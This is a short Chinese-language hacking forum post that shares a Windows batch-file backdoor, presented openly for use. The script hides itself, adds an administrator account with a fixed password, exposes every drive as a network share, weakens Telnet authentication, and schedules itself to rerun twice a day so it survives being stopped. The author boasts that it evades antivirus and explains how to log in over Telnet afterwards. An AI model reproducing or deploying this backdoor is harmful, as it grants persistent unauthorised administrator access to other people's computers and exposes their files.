本帖隐藏的内容
作者:xyt
代码思路是影子鹰DESERT朋友的,原代码比较麻烦,我做了改进,这个后门优点就是小而且不会被杀,放到SYSTEM32目录下就可以了 ,代码如下: @echo off @attrib +s + r xyt.bat @net user xyt hacker /add (Allen_HW加注:这里可以改账号密码 PS 复制的时候记得把括号以及内容去掉) @net localgroup administrators xyt /add @net share c$=c: @net share d$=d: @net share e$=e: @net share f$=f: @net share g$=g: @net share h$=h: @tlntadmn config sec = -ntlm
@net stop schedule @net start Schedule @echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat @echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat @at 11:05 c:\WINNT\SYSTEM32\xyt.bat @at 23:05 c:\WINNT\SYSTEM32\xyt.bat @net stop telnet @net start telnet @exit
这样就会循环运行我们的程序了,即使被人停下来,过几个小时,又回重新运行,呵呵~~ 运行后TELNET IP上去,用户名为xyt,密码为hacker。
|